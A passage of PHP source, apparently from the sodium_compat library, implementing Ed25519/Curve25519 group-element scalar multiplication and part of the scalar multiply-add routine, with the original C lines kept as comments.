    public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */
        static $Bi = array();
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2])
                );
            }
        }
        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
            # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_madd($t, $u, $Bi[$index]);
            # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_msub($t, $u, $Bi[$index]);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult($a, $p)
    {
        $e = array_fill(0, 64, 0);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */
        $pi = array();

        //        ge25519_p3_to_cached(&pi[1 - 1], p);   /* p */
        $pi[0] = self::ge_p3_to_cached($p);

        //        ge25519_p3_dbl(&t2, p);
        //        ge25519_p1p1_to_p3(&p2, &t2);
        //        ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */
        $t2 = self::ge_p3_dbl($p);
        $p2 = self::ge_p1p1_to_p3($t2);
        $pi[1] = self::ge_p3_to_cached($p2);

        //        ge25519_add_cached(&t3, p, &pi[2 - 1]);
        //        ge25519_p1p1_to_p3(&p3, &t3);
        //        ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */
        $t3 = self::ge_add($p, $pi[1]);
        $p3 = self::ge_p1p1_to_p3($t3);
        $pi[2] = self::ge_p3_to_cached($p3);

        //        ge25519_p3_dbl(&t4, &p2);
        //        ge25519_p1p1_to_p3(&p4, &t4);
        //        ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */
        $t4 = self::ge_p3_dbl($p2);
        $p4 = self::ge_p1p1_to_p3($t4);
        $pi[3] = self::ge_p3_to_cached($p4);

        //        ge25519_add_cached(&t5, p, &pi[4 - 1]);
        //        ge25519_p1p1_to_p3(&p5, &t5);
        //        ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */
        $t5 = self::ge_add($p, $pi[3]);
        $p5 = self::ge_p1p1_to_p3($t5);
        $pi[4] = self::ge_p3_to_cached($p5);

        //        ge25519_p3_dbl(&t6, &p3);
        //        ge25519_p1p1_to_p3(&p6, &t6);
        //        ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */
        $t6 = self::ge_p3_dbl($p3);
        $p6 = self::ge_p1p1_to_p3($t6);
        $pi[5] = self::ge_p3_to_cached($p6);

        //        ge25519_add_cached(&t7, p, &pi[6 - 1]);
        //        ge25519_p1p1_to_p3(&p7, &t7);
        //        ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */
        $t7 = self::ge_add($p, $pi[5]);
        $p7 = self::ge_p1p1_to_p3($t7);
        $pi[6] = self::ge_p3_to_cached($p7);

        //        ge25519_p3_dbl(&t8, &p4);
        //        ge25519_p1p1_to_p3(&p8, &t8);
        //        ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */
        $t8 = self::ge_p3_dbl($p4);
        $p8 = self::ge_p1p1_to_p3($t8);
        $pi[7] = self::ge_p3_to_cached($p8);


        //        for (i = 0; i < 32; ++i) {
        //            e[2 * i + 0] = (a[i] >> 0) & 15;
        //            e[2 * i + 1] = (a[i] >> 4) & 15;
        //        }
        for ($i = 0; $i < 32; ++$i) {
            $e[($i << 1)    ] =  self::chrToInt($a[$i]) & 15;
            $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15;
        }
        //        /* each e[i] is between 0 and 15 */
        //        /* e[63] is between 0 and 7 */

        //        carry = 0;
        //        for (i = 0; i < 63; ++i) {
        //            e[i] += carry;
        //            carry = e[i] + 8;
        //            carry >>= 4;
        //            e[i] -= carry * ((signed char) 1 << 4);
        //        }
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        //        e[63] += carry;
        //        /* each e[i] is between -8 and 8 */
        $e[63] += $carry;

        //        ge25519_p3_0(h);
        $h = self::ge_p3_0();

        //        for (i = 63; i != 0; i--) {
        for ($i = 63; $i != 0; --$i) {
            // ge25519_cmov8_cached(&t, pi, e[i]);
            $t = self::ge_cmov8_cached($pi, $e[$i]);
            // ge25519_add_cached(&r, h, &t);
            $r = self::ge_add($h, $t);

            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);

            // ge25519_p1p1_to_p3(h, &r);  /* *16 */
            $h = self::ge_p1p1_to_p3($r); /* *16 */
        }

        //        ge25519_cmov8_cached(&t, pi, e[i]);
        //        ge25519_add_cached(&r, h, &t);
        //        ge25519_p1p1_to_p3(h, &r);
        $t = self::ge_cmov8_cached($pi, $e[0]);
        $r = self::ge_add($h, $t);
        return self::ge_p1p1_to_p3($r);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = 2097151 & self::load_3(self::substr($a, 0, 3));
        $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
        $a8 = 2097151 & self::load_3(self::substr($a, 21, 3));
        $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        $b0 = 2097151 & self::load_3(self::substr($b, 0, 3));
        $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8 = 2097151 & self::load_3(self::substr($b, 21, 3));
        $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        $c0 = 2097151 & self::load_3(self::substr($c, 0, 3));
        $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5);
        $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2);
        $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7);
        $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4);
        $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1);
        $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6);
        $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3);
        $c8 = 2097151 & self::load_3(self::substr($c, 21, 3));
        $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5);
        $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2);
        $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7);

        /* Can't really avoid the pyramid here: */
        $s0 = $c0 + self::mul($a0, $b0, 24);
        $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24);
        $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24);
        $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24);
        $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) +
               self::mul($a4, $b0, 24);
        $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) +
               self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24);
        $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) +
               self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24);
        $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) +
               self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24);
        $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) +
               self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) +
               self::mul($a8, $b0, 24);
        $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) +
               self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) +
               self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24);
        $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) +
               self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) +
               self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24);
        $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) +
               self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) +
               self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24);
        $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) +
               self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) +
               self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24);
        $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) +
               self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) +
               self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24);
        $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) +
               self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) +
               self::mul($a11, $b3, 24);
        $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) +
               self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24);
        $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) +
               self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24);
        $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) +
               self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24);
        $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) +
               self::mul($a11, $b7, 24);
        $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24);
        $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24);
        $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24);
        $s22 = self::mul($a11, $b11, 24);
        $s23 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
